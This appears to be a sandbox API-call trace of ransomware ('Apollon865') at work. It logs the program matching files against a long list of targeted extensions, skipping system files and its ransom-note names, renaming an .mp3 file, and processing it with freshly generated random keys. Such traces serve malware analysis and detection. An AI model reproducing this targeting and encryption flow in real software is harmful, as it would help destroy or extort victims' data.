	[0087.775] lstrcmpiW (lpString1="mp3", lpString2="gdb") returned 1
	[0087.775] lstrlenW (lpString="gdb") returned 3
	[0087.775] lstrcmpiW (lpString1="mp3", lpString2="gdb") returned 1
	[0087.775] lstrlenW (lpString="grdb") returned 4
	[0087.775] lstrcmpiW (lpString1=".mp3", lpString2="grdb") returned -1
	[0087.775] lstrlenW (lpString="gwi") returned 3
	[0087.775] lstrcmpiW (lpString1="mp3", lpString2="gwi") returned 1
	[0087.775] lstrlenW (lpString="hdb") returned 3
	[0087.775] lstrcmpiW (lpString1="mp3", lpString2="hdb") returned 1
	[0087.775] lstrlenW (lpString="his") returned 3
	[0087.775] lstrcmpiW (lpString1="mp3", lpString2="his") returned 1
	[0087.775] lstrlenW (lpString="ib") returned 2
	[0087.775] lstrcmpiW (lpString1="p3", lpString2="ib") returned 1
	[0087.775] lstrlenW (lpString="idb") returned 3
	[0087.775] lstrcmpiW (lpString1="mp3", lpString2="idb") returned 1
	[0087.775] lstrlenW (lpString="ihx") returned 3
	[0087.775] lstrcmpiW (lpString1="mp3", lpString2="ihx") returned 1
	[0087.775] lstrlenW (lpString="itdb") returned 4
	[0087.775] lstrcmpiW (lpString1=".mp3", lpString2="itdb") returned -1
	[0087.775] lstrlenW (lpString="itw") returned 3
	[0087.775] lstrcmpiW (lpString1="mp3", lpString2="itw") returned 1
	[0087.775] lstrlenW (lpString="jet") returned 3
	[0087.776] lstrcmpiW (lpString1="mp3", lpString2="jet") returned 1
	[0087.776] lstrlenW (lpString="jtx") returned 3
	[0087.776] lstrcmpiW (lpString1="mp3", lpString2="jtx") returned 1
	[0087.776] lstrlenW (lpString="kdb") returned 3
	[0087.776] lstrcmpiW (lpString1="mp3", lpString2="kdb") returned 1
	[0087.776] lstrlenW (lpString="kexi") returned 4
	[0087.776] lstrcmpiW (lpString1=".mp3", lpString2="kexi") returned -1
	[0087.776] lstrlenW (lpString="kexic") returned 5
	[0087.776] lstrcmpiW (lpString1="w.mp3", lpString2="kexic") returned 1
	[0087.776] lstrlenW (lpString="kexis") returned 5
	[0087.776] lstrcmpiW (lpString1="w.mp3", lpString2="kexis") returned 1
	[0087.776] lstrlenW (lpString="lgc") returned 3
	[0087.776] lstrcmpiW (lpString1="mp3", lpString2="lgc") returned 1
	[0087.776] lstrlenW (lpString="lwx") returned 3
	[0087.776] lstrcmpiW (lpString1="mp3", lpString2="lwx") returned 1
	[0087.776] lstrlenW (lpString="maf") returned 3
	[0087.776] lstrcmpiW (lpString1="mp3", lpString2="maf") returned 1
	[0087.776] lstrlenW (lpString="maq") returned 3
	[0087.776] lstrcmpiW (lpString1="mp3", lpString2="maq") returned 1
	[0087.776] lstrlenW (lpString="mar") returned 3
	[0087.776] lstrcmpiW (lpString1="mp3", lpString2="mar") returned 1
	[0087.776] lstrlenW (lpString="marshal") returned 7
	[0087.776] lstrcmpiW (lpString1="7Zw.mp3", lpString2="marshal") returned -1
	[0087.776] lstrlenW (lpString="mas") returned 3
	[0087.776] lstrcmpiW (lpString1="mp3", lpString2="mas") returned 1
	[0087.776] lstrlenW (lpString="mav") returned 3
	[0087.776] lstrcmpiW (lpString1="mp3", lpString2="mav") returned 1
	[0087.776] lstrlenW (lpString="maw") returned 3
	[0087.776] lstrcmpiW (lpString1="mp3", lpString2="maw") returned 1
	[0087.776] lstrlenW (lpString="mdbhtml") returned 7
	[0087.776] lstrcmpiW (lpString1="7Zw.mp3", lpString2="mdbhtml") returned -1
	[0087.776] lstrlenW (lpString="mdn") returned 3
	[0087.776] lstrcmpiW (lpString1="mp3", lpString2="mdn") returned 1
	[0087.776] lstrlenW (lpString="mdt") returned 3
	[0087.776] lstrcmpiW (lpString1="mp3", lpString2="mdt") returned 1
	[0087.776] lstrlenW (lpString="mfd") returned 3
	[0087.777] lstrcmpiW (lpString1="mp3", lpString2="mfd") returned 1
	[0087.777] lstrlenW (lpString="mpd") returned 3
	[0087.777] lstrcmpiW (lpString1="mp3", lpString2="mpd") returned -1
	[0087.777] lstrlenW (lpString="mrg") returned 3
	[0087.777] lstrcmpiW (lpString1="mp3", lpString2="mrg") returned -1
	[0087.777] lstrlenW (lpString="mud") returned 3
	[0087.777] lstrcmpiW (lpString1="mp3", lpString2="mud") returned -1
	[0087.777] lstrlenW (lpString="mwb") returned 3
	[0087.777] lstrcmpiW (lpString1="mp3", lpString2="mwb") returned -1
	[0087.777] lstrlenW (lpString="myd") returned 3
	[0087.777] lstrcmpiW (lpString1="mp3", lpString2="myd") returned -1
	[0087.777] lstrlenW (lpString="ndf") returned 3
	[0087.777] lstrcmpiW (lpString1="mp3", lpString2="ndf") returned -1
	[0087.777] lstrlenW (lpString="nnt") returned 3
	[0087.777] lstrcmpiW (lpString1="mp3", lpString2="nnt") returned -1
	[0087.777] lstrlenW (lpString="nrmlib") returned 6
	[0087.777] lstrcmpiW (lpString1="Zw.mp3", lpString2="nrmlib") returned 1
	[0087.777] lstrlenW (lpString="ns2") returned 3
	[0087.777] lstrcmpiW (lpString1="mp3", lpString2="ns2") returned -1
	[0087.777] lstrlenW (lpString="ns3") returned 3
	[0087.777] lstrcmpiW (lpString1="mp3", lpString2="ns3") returned -1
	[0087.777] lstrlenW (lpString="ns4") returned 3
	[0087.777] lstrcmpiW (lpString1="mp3", lpString2="ns4") returned -1
	[0087.777] lstrlenW (lpString="nsf") returned 3
	[0087.777] lstrcmpiW (lpString1="mp3", lpString2="nsf") returned -1
	[0087.777] lstrlenW (lpString="nv") returned 2
	[0087.777] lstrcmpiW (lpString1="p3", lpString2="nv") returned 1
	[0087.777] lstrlenW (lpString="nv2") returned 3
	[0087.777] lstrcmpiW (lpString1="mp3", lpString2="nv2") returned -1
	[0087.777] lstrlenW (lpString="nwdb") returned 4
	[0087.777] lstrcmpiW (lpString1=".mp3", lpString2="nwdb") returned -1
	[0087.777] lstrlenW (lpString="nyf") returned 3
	[0087.777] lstrcmpiW (lpString1="mp3", lpString2="nyf") returned -1
	[0087.777] lstrlenW (lpString="odb") returned 3
	[0087.777] lstrcmpiW (lpString1="mp3", lpString2="odb") returned -1
	[0087.777] lstrlenW (lpString="odb") returned 3
	[0087.778] lstrcmpiW (lpString1="mp3", lpString2="odb") returned -1
	[0087.778] lstrlenW (lpString="oqy") returned 3
	[0087.778] lstrcmpiW (lpString1="mp3", lpString2="oqy") returned -1
	[0087.778] lstrlenW (lpString="ora") returned 3
	[0087.778] lstrcmpiW (lpString1="mp3", lpString2="ora") returned -1
	[0087.778] lstrlenW (lpString="orx") returned 3
	[0087.778] lstrcmpiW (lpString1="mp3", lpString2="orx") returned -1
	[0087.778] lstrlenW (lpString="owc") returned 3
	[0087.778] lstrcmpiW (lpString1="mp3", lpString2="owc") returned -1
	[0087.778] lstrlenW (lpString="p96") returned 3
	[0087.778] lstrcmpiW (lpString1="mp3", lpString2="p96") returned -1
	[0087.778] lstrlenW (lpString="p97") returned 3
	[0087.778] lstrcmpiW (lpString1="mp3", lpString2="p97") returned -1
	[0087.778] lstrlenW (lpString="pan") returned 3
	[0087.778] lstrcmpiW (lpString1="mp3", lpString2="pan") returned -1
	[0087.778] lstrlenW (lpString="pdb") returned 3
	[0087.778] lstrcmpiW (lpString1="mp3", lpString2="pdb") returned -1
	[0087.778] lstrlenW (lpString="pdm") returned 3
	[0087.778] lstrcmpiW (lpString1="mp3", lpString2="pdm") returned -1
	[0087.778] lstrlenW (lpString="pnz") returned 3
	[0087.778] lstrcmpiW (lpString1="mp3", lpString2="pnz") returned -1
	[0087.778] lstrlenW (lpString="qry") returned 3
	[0087.778] lstrcmpiW (lpString1="mp3", lpString2="qry") returned -1
	[0087.778] lstrlenW (lpString="qvd") returned 3
	[0087.778] lstrcmpiW (lpString1="mp3", lpString2="qvd") returned -1
	[0087.778] lstrlenW (lpString="rbf") returned 3
	[0087.778] lstrcmpiW (lpString1="mp3", lpString2="rbf") returned -1
	[0087.778] lstrlenW (lpString="rctd") returned 4
	[0087.778] lstrcmpiW (lpString1=".mp3", lpString2="rctd") returned -1
	[0087.778] lstrlenW (lpString="rod") returned 3
	[0087.778] lstrcmpiW (lpString1="mp3", lpString2="rod") returned -1
	[0087.778] lstrlenW (lpString="rodx") returned 4
	[0087.778] lstrcmpiW (lpString1=".mp3", lpString2="rodx") returned -1
	[0087.778] lstrlenW (lpString="rpd") returned 3
	[0087.778] lstrcmpiW (lpString1="mp3", lpString2="rpd") returned -1
	[0087.779] lstrlenW (lpString="rsd") returned 3
	[0087.779] lstrcmpiW (lpString1="mp3", lpString2="rsd") returned -1
	[0087.779] lstrlenW (lpString="sas7bdat") returned 8
	[0087.779] lstrcmpiW (lpString1="37Zw.mp3", lpString2="sas7bdat") returned -1
	[0087.779] lstrlenW (lpString="sbf") returned 3
	[0087.779] lstrcmpiW (lpString1="mp3", lpString2="sbf") returned -1
	[0087.779] lstrlenW (lpString="scx") returned 3
	[0087.779] lstrcmpiW (lpString1="mp3", lpString2="scx") returned -1
	[0087.779] lstrlenW (lpString="sdb") returned 3
	[0087.779] lstrcmpiW (lpString1="mp3", lpString2="sdb") returned -1
	[0087.779] lstrlenW (lpString="sdc") returned 3
	[0087.779] lstrcmpiW (lpString1="mp3", lpString2="sdc") returned -1
	[0087.779] lstrlenW (lpString="sdf") returned 3
	[0087.779] lstrcmpiW (lpString1="mp3", lpString2="sdf") returned -1
	[0087.779] lstrlenW (lpString="sis") returned 3
	[0087.779] lstrcmpiW (lpString1="mp3", lpString2="sis") returned -1
	[0087.779] lstrlenW (lpString="spq") returned 3
	[0087.779] lstrcmpiW (lpString1="mp3", lpString2="spq") returned -1
	[0087.779] lstrlenW (lpString="te") returned 2
	[0087.779] lstrcmpiW (lpString1="p3", lpString2="te") returned -1
	[0087.779] lstrlenW (lpString="teacher") returned 7
	[0087.779] lstrcmpiW (lpString1="7Zw.mp3", lpString2="teacher") returned -1
	[0087.779] lstrlenW (lpString="tmd") returned 3
	[0087.779] lstrcmpiW (lpString1="mp3", lpString2="tmd") returned -1
	[0087.779] lstrlenW (lpString="tps") returned 3
	[0087.779] lstrcmpiW (lpString1="mp3", lpString2="tps") returned -1
	[0087.779] lstrlenW (lpString="trc") returned 3
	[0087.779] lstrcmpiW (lpString1="mp3", lpString2="trc") returned -1
	[0087.779] lstrlenW (lpString="trc") returned 3
	[0087.779] lstrcmpiW (lpString1="mp3", lpString2="trc") returned -1
	[0087.779] lstrlenW (lpString="trm") returned 3
	[0087.779] lstrcmpiW (lpString1="mp3", lpString2="trm") returned -1
	[0087.779] lstrlenW (lpString="udb") returned 3
	[0087.779] lstrcmpiW (lpString1="mp3", lpString2="udb") returned -1
	[0087.779] lstrlenW (lpString="udl") returned 3
	[0087.780] lstrcmpiW (lpString1="mp3", lpString2="udl") returned -1
	[0087.780] lstrlenW (lpString="usr") returned 3
	[0087.780] lstrcmpiW (lpString1="mp3", lpString2="usr") returned -1
	[0087.780] lstrlenW (lpString="v12") returned 3
	[0087.780] lstrcmpiW (lpString1="mp3", lpString2="v12") returned -1
	[0087.780] lstrlenW (lpString="vis") returned 3
	[0087.780] lstrcmpiW (lpString1="mp3", lpString2="vis") returned -1
	[0087.780] lstrlenW (lpString="vpd") returned 3
	[0087.780] lstrcmpiW (lpString1="mp3", lpString2="vpd") returned -1
	[0087.780] lstrlenW (lpString="vvv") returned 3
	[0087.780] lstrcmpiW (lpString1="mp3", lpString2="vvv") returned -1
	[0087.780] lstrlenW (lpString="wdb") returned 3
	[0087.780] lstrcmpiW (lpString1="mp3", lpString2="wdb") returned -1
	[0087.780] lstrlenW (lpString="wmdb") returned 4
	[0087.780] lstrcmpiW (lpString1=".mp3", lpString2="wmdb") returned -1
	[0087.780] lstrlenW (lpString="wrk") returned 3
	[0087.780] lstrcmpiW (lpString1="mp3", lpString2="wrk") returned -1
	[0087.780] lstrlenW (lpString="xdb") returned 3
	[0087.780] lstrcmpiW (lpString1="mp3", lpString2="xdb") returned -1
	[0087.780] lstrlenW (lpString="xld") returned 3
	[0087.780] lstrcmpiW (lpString1="mp3", lpString2="xld") returned -1
	[0087.780] lstrlenW (lpString="xmlff") returned 5
	[0087.780] lstrcmpiW (lpString1="w.mp3", lpString2="xmlff") returned -1
	[0087.780] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\iYqZqnYSZJSi5_37Zw.mp3.Apollon865") returned 79
	[0087.780] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\iYqZqnYSZJSi5_37Zw.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\iyqzqnyszjsi5_37zw.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\iYqZqnYSZJSi5_37Zw.mp3.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\iyqzqnyszjsi5_37zw.mp3.apollon865"), dwFlags=0x1) returned 1
	[0087.782] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\iYqZqnYSZJSi5_37Zw.mp3.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\iyqzqnyszjsi5_37zw.mp3.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0087.782] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=59031) returned 1
	[0087.782] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0087.783] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0087.783] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf700
	[0087.783] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf4e0) returned 1
	[0087.783] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0087.784] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0087.784] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xe9a0, lpName=0x0) returned 0x15c
	[0087.784] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xe9a0) returned 0x100000
	[0087.787] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf4e0) returned 1
	[0087.788] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0087.788] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0087.788] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0087.788] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0087.788] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0087.788] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0087.788] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0087.788] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0087.788] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0087.789] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0087.789] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0087.789] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0087.789] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0087.789] CloseHandle (hObject=0x15c) returned 1
	[0087.789] CloseHandle (hObject=0x9c) returned 1
	[0087.790] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0087.791] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf700 | out: hHeap=0x580000) returned 1
	[0087.791] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0087.791] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f09eb50, ftCreationTime.dwHighDateTime=0x1d4cad0, ftLastAccessTime.dwLowDateTime=0x37ea25d0, ftLastAccessTime.dwHighDateTime=0x1d4d15e, ftLastWriteTime.dwLowDateTime=0x37ea25d0, ftLastWriteTime.dwHighDateTime=0x1d4d15e, nFileSizeHigh=0x0, nFileSizeLow=0x77ee, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="kb0FhgO2.mp3", cAlternateFileName="")) returned 1
	[0087.791] lstrcmpiW (lpString1="kb0FhgO2.mp3", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0087.791] lstrcmpiW (lpString1="kb0FhgO2.mp3", lpString2="Apollon865.txt.exe") returned 1
	[0087.791] lstrcmpiW (lpString1="kb0FhgO2.mp3", lpString2=".") returned 1
	[0087.791] lstrcmpiW (lpString1="kb0FhgO2.mp3", lpString2="..") returned 1
	[0087.791] lstrcmpiW (lpString1="kb0FhgO2.mp3", lpString2="windows") returned -1
	[0087.791] lstrcmpiW (lpString1="kb0FhgO2.mp3", lpString2="bootmgr") returned 1
	[0087.791] lstrcmpiW (lpString1="kb0FhgO2.mp3", lpString2="temp") returned -1
	[0087.791] lstrcmpiW (lpString1="kb0FhgO2.mp3", lpString2="pagefile.sys") returned -1
	[0087.791] lstrcmpiW (lpString1="kb0FhgO2.mp3", lpString2="boot") returned 1
	[0087.791] lstrcmpiW (lpString1="kb0FhgO2.mp3", lpString2="ids.txt") returned 1
	[0087.791] lstrcmpiW (lpString1="kb0FhgO2.mp3", lpString2="ntuser.dat") returned -1
	[0087.791] lstrcmpiW (lpString1="kb0FhgO2.mp3", lpString2="perflogs") returned -1
	[0087.791] lstrcmpiW (lpString1="kb0FhgO2.mp3", lpString2="MSBuild") returned -1
	[0087.792] lstrlenW (lpString="kb0FhgO2.mp3") returned 12
	[0087.792] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\iYqZqnYSZJSi5_37Zw.mp3") returned 68
	[0087.792] lstrcpyW (in: lpString1=0x119e664, lpString2="kb0FhgO2.mp3" | out: lpString1="kb0FhgO2.mp3") returned="kb0FhgO2.mp3"
	[0087.792] lstrlenW (lpString="kb0FhgO2.mp3") returned 12
	[0087.792] lstrlenW (lpString="Apollon865") returned 10
	[0087.792] lstrcmpiW (lpString1="0FhgO2.mp3", lpString2="Apollon865") returned -1
	[0087.792] lstrlenW (lpString=".dll") returned 4
	[0087.792] lstrcmpiW (lpString1="kb0FhgO2.mp3", lpString2=".dll") returned 1
	[0087.792] lstrlenW (lpString=".lnk") returned 4
	[0087.792] lstrcmpiW (lpString1="kb0FhgO2.mp3", lpString2=".lnk") returned 1
	[0087.792] lstrlenW (lpString=".ini") returned 4
	[0087.792] lstrcmpiW (lpString1="kb0FhgO2.mp3", lpString2=".ini") returned 1
	[0087.792] lstrlenW (lpString=".sys") returned 4
	[0087.792] lstrcmpiW (lpString1="kb0FhgO2.mp3", lpString2=".sys") returned 1
	[0087.792] lstrlenW (lpString="kb0FhgO2.mp3") returned 12
	[0087.792] lstrlenW (lpString="bak") returned 3
	[0087.792] lstrcmpiW (lpString1="mp3", lpString2="bak") returned 1
	[0087.792] lstrlenW (lpString="ba_") returned 3
	[0087.792] lstrcmpiW (lpString1="mp3", lpString2="ba_") returned 1
	[0087.792] lstrlenW (lpString="dbb") returned 3
	[0087.792] lstrcmpiW (lpString1="mp3", lpString2="dbb") returned 1
	[0087.792] lstrlenW (lpString="vmdk") returned 4
	[0087.792] lstrcmpiW (lpString1=".mp3", lpString2="vmdk") returned -1
	[0087.792] lstrlenW (lpString="rar") returned 3
	[0087.792] lstrcmpiW (lpString1="mp3", lpString2="rar") returned -1
	[0087.792] lstrlenW (lpString="zip") returned 3
	[0087.792] lstrcmpiW (lpString1="mp3", lpString2="zip") returned -1
	[0087.793] lstrlenW (lpString="tgz") returned 3
	[0087.793] lstrcmpiW (lpString1="mp3", lpString2="tgz") returned -1
	[0087.793] lstrlenW (lpString="vbox") returned 4
	[0087.793] lstrcmpiW (lpString1=".mp3", lpString2="vbox") returned -1
	[0087.793] lstrlenW (lpString="vdi") returned 3
	[0087.793] lstrcmpiW (lpString1="mp3", lpString2="vdi") returned -1
	[0087.793] lstrlenW (lpString="vhd") returned 3
	[0087.793] lstrcmpiW (lpString1="mp3", lpString2="vhd") returned -1
	[0087.793] lstrlenW (lpString="vhdx") returned 4
	[0087.793] lstrcmpiW (lpString1=".mp3", lpString2="vhdx") returned -1
	[0087.793] lstrlenW (lpString="avhd") returned 4
	[0087.793] lstrcmpiW (lpString1=".mp3", lpString2="avhd") returned -1
	[0087.793] lstrlenW (lpString="db") returned 2
	[0087.793] lstrcmpiW (lpString1="p3", lpString2="db") returned 1
	[0087.793] lstrlenW (lpString="db2") returned 3
	[0087.793] lstrcmpiW (lpString1="mp3", lpString2="db2") returned 1
	[0087.793] lstrlenW (lpString="db3") returned 3
	[0087.793] lstrcmpiW (lpString1="mp3", lpString2="db3") returned 1
	[0087.793] lstrlenW (lpString="dbf") returned 3
	[0087.793] lstrcmpiW (lpString1="mp3", lpString2="dbf") returned 1
	[0087.793] lstrlenW (lpString="mdf") returned 3
	[0087.793] lstrcmpiW (lpString1="mp3", lpString2="mdf") returned 1
	[0087.793] lstrlenW (lpString="mdb") returned 3
	[0087.793] lstrcmpiW (lpString1="mp3", lpString2="mdb") returned 1
	[0087.793] lstrlenW (lpString="sql") returned 3
	[0087.793] lstrcmpiW (lpString1="mp3", lpString2="sql") returned -1
	[0087.793] lstrlenW (lpString="sqlite") returned 6
	[0087.793] lstrcmpiW (lpString1="O2.mp3", lpString2="sqlite") returned -1
	[0087.793] lstrlenW (lpString="sqlite3") returned 7
	[0087.793] lstrcmpiW (lpString1="gO2.mp3", lpString2="sqlite3") returned -1
	[0087.793] lstrlenW (lpString="sqlitedb") returned 8
	[0087.794] lstrcmpiW (lpString1="hgO2.mp3", lpString2="sqlitedb") returned -1
	[0087.794] lstrlenW (lpString="xml") returned 3
	[0087.794] lstrcmpiW (lpString1="mp3", lpString2="xml") returned -1
	[0087.794] lstrlenW (lpString="$er") returned 3
	[0087.794] lstrcmpiW (lpString1="mp3", lpString2="$er") returned 1
	[0087.794] lstrlenW (lpString="4dd") returned 3
	[0087.794] lstrcmpiW (lpString1="mp3", lpString2="4dd") returned 1
	[0087.794] lstrlenW (lpString="4dl") returned 3
	[0087.794] lstrcmpiW (lpString1="mp3", lpString2="4dl") returned 1
	[0087.794] lstrlenW (lpString="^^^") returned 3
	[0087.794] lstrcmpiW (lpString1="mp3", lpString2="^^^") returned 1
	[0087.794] lstrlenW (lpString="abs") returned 3
	[0087.794] lstrcmpiW (lpString1="mp3", lpString2="abs") returned 1
	[0087.794] lstrlenW (lpString="abx") returned 3
	[0087.794] lstrcmpiW (lpString1="mp3", lpString2="abx") returned 1
	[0087.794] lstrlenW (lpString="accdb") returned 5
	[0087.794] lstrcmpiW (lpString1="2.mp3", lpString2="accdb") returned -1
	[0087.794] lstrlenW (lpString="accdc") returned 5
	[0087.794] lstrcmpiW (lpString1="2.mp3", lpString2="accdc") returned -1
	[0087.794] lstrlenW (lpString="accde") returned 5
	[0087.794] lstrcmpiW (lpString1="2.mp3", lpString2="accde") returned -1
	[0087.794] lstrlenW (lpString="accdr") returned 5
	[0087.794] lstrcmpiW (lpString1="2.mp3", lpString2="accdr") returned -1
	[0087.794] lstrlenW (lpString="accdt") returned 5
	[0087.794] lstrcmpiW (lpString1="2.mp3", lpString2="accdt") returned -1
	[0087.794] lstrlenW (lpString="accdw") returned 5
	[0087.794] lstrcmpiW (lpString1="2.mp3", lpString2="accdw") returned -1
	[0087.794] lstrlenW (lpString="accft") returned 5
	[0087.794] lstrcmpiW (lpString1="2.mp3", lpString2="accft") returned -1
	[0087.794] lstrlenW (lpString="adb") returned 3
	[0087.794] lstrcmpiW (lpString1="mp3", lpString2="adb") returned 1
	[0087.794] lstrlenW (lpString="adb") returned 3
	[0087.794] lstrcmpiW (lpString1="mp3", lpString2="adb") returned 1
	[0087.794] lstrlenW (lpString="ade") returned 3
	[0087.794] lstrcmpiW (lpString1="mp3", lpString2="ade") returned 1
	[0087.794] lstrlenW (lpString="adf") returned 3
	[0087.795] lstrcmpiW (lpString1="mp3", lpString2="adf") returned 1
	[0087.795] lstrlenW (lpString="adn") returned 3
	[0087.795] lstrcmpiW (lpString1="mp3", lpString2="adn") returned 1
	[0087.795] lstrlenW (lpString="adp") returned 3
	[0087.795] lstrcmpiW (lpString1="mp3", lpString2="adp") returned 1
	[0087.795] lstrlenW (lpString="alf") returned 3
	[0087.795] lstrcmpiW (lpString1="mp3", lpString2="alf") returned 1
	[0087.795] lstrlenW (lpString="ask") returned 3
	[0087.795] lstrcmpiW (lpString1="mp3", lpString2="ask") returned 1
	[0087.795] lstrlenW (lpString="btr") returned 3
	[0087.795] lstrcmpiW (lpString1="mp3", lpString2="btr") returned 1
	[0087.795] lstrlenW (lpString="cat") returned 3
	[0087.795] lstrcmpiW (lpString1="mp3", lpString2="cat") returned 1
	[0087.795] lstrlenW (lpString="cdb") returned 3
	[0087.795] lstrcmpiW (lpString1="mp3", lpString2="cdb") returned 1
	[0087.795] lstrlenW (lpString="ckp") returned 3
	[0087.795] lstrcmpiW (lpString1="mp3", lpString2="ckp") returned 1
	[0087.795] lstrlenW (lpString="cma") returned 3
	[0087.795] lstrcmpiW (lpString1="mp3", lpString2="cma") returned 1
	[0087.795] lstrlenW (lpString="cpd") returned 3
	[0087.795] lstrcmpiW (lpString1="mp3", lpString2="cpd") returned 1
	[0087.795] lstrlenW (lpString="dacpac") returned 6
	[0087.795] lstrcmpiW (lpString1="O2.mp3", lpString2="dacpac") returned 1
	[0087.795] lstrlenW (lpString="dad") returned 3
	[0087.795] lstrcmpiW (lpString1="mp3", lpString2="dad") returned 1
	[0087.795] lstrlenW (lpString="dadiagrams") returned 10
	[0087.795] lstrcmpiW (lpString1="0FhgO2.mp3", lpString2="dadiagrams") returned -1
	[0087.795] lstrlenW (lpString="daschema") returned 8
	[0087.795] lstrcmpiW (lpString1="hgO2.mp3", lpString2="daschema") returned 1
	[0087.795] lstrlenW (lpString="db-journal") returned 10
	[0087.795] lstrcmpiW (lpString1="0FhgO2.mp3", lpString2="db-journal") returned -1
	[0087.795] lstrlenW (lpString="db-shm") returned 6
	[0087.795] lstrcmpiW (lpString1="O2.mp3", lpString2="db-shm") returned 1
	[0087.795] lstrlenW (lpString="db-wal") returned 6
	[0087.795] lstrcmpiW (lpString1="O2.mp3", lpString2="db-wal") returned 1
	[0087.796] lstrlenW (lpString="dbc") returned 3
	[0087.796] lstrcmpiW (lpString1="mp3", lpString2="dbc") returned 1
	[0087.796] lstrlenW (lpString="dbs") returned 3
	[0087.796] lstrcmpiW (lpString1="mp3", lpString2="dbs") returned 1
	[0087.796] lstrlenW (lpString="dbt") returned 3
	[0087.796] lstrcmpiW (lpString1="mp3", lpString2="dbt") returned 1
	[0087.796] lstrlenW (lpString="dbv") returned 3
	[0087.796] lstrcmpiW (lpString1="mp3", lpString2="dbv") returned 1
	[0087.796] lstrlenW (lpString="dbx") returned 3
	[0087.796] lstrcmpiW (lpString1="mp3", lpString2="dbx") returned 1
	[0087.796] lstrlenW (lpString="dcb") returned 3
	[0087.796] lstrcmpiW (lpString1="mp3", lpString2="dcb") returned 1
	[0087.796] lstrlenW (lpString="dct") returned 3
	[0087.796] lstrcmpiW (lpString1="mp3", lpString2="dct") returned 1
	[0087.796] lstrlenW (lpString="dcx") returned 3
	[0087.796] lstrcmpiW (lpString1="mp3", lpString2="dcx") returned 1
	[0087.796] lstrlenW (lpString="ddl") returned 3
	[0087.796] lstrcmpiW (lpString1="mp3", lpString2="ddl") returned 1
	[0087.796] lstrlenW (lpString="dlis") returned 4
	[0087.796] lstrcmpiW (lpString1=".mp3", lpString2="dlis") returned -1
	[0087.796] lstrlenW (lpString="dp1") returned 3
	[0087.796] lstrcmpiW (lpString1="mp3", lpString2="dp1") returned 1
	[0087.796] lstrlenW (lpString="dqy") returned 3
	[0087.796] lstrcmpiW (lpString1="mp3", lpString2="dqy") returned 1
	[0087.796] lstrlenW (lpString="dsk") returned 3
	[0087.796] lstrcmpiW (lpString1="mp3", lpString2="dsk") returned 1
	[0087.796] lstrlenW (lpString="dsn") returned 3
	[0087.796] lstrcmpiW (lpString1="mp3", lpString2="dsn") returned 1
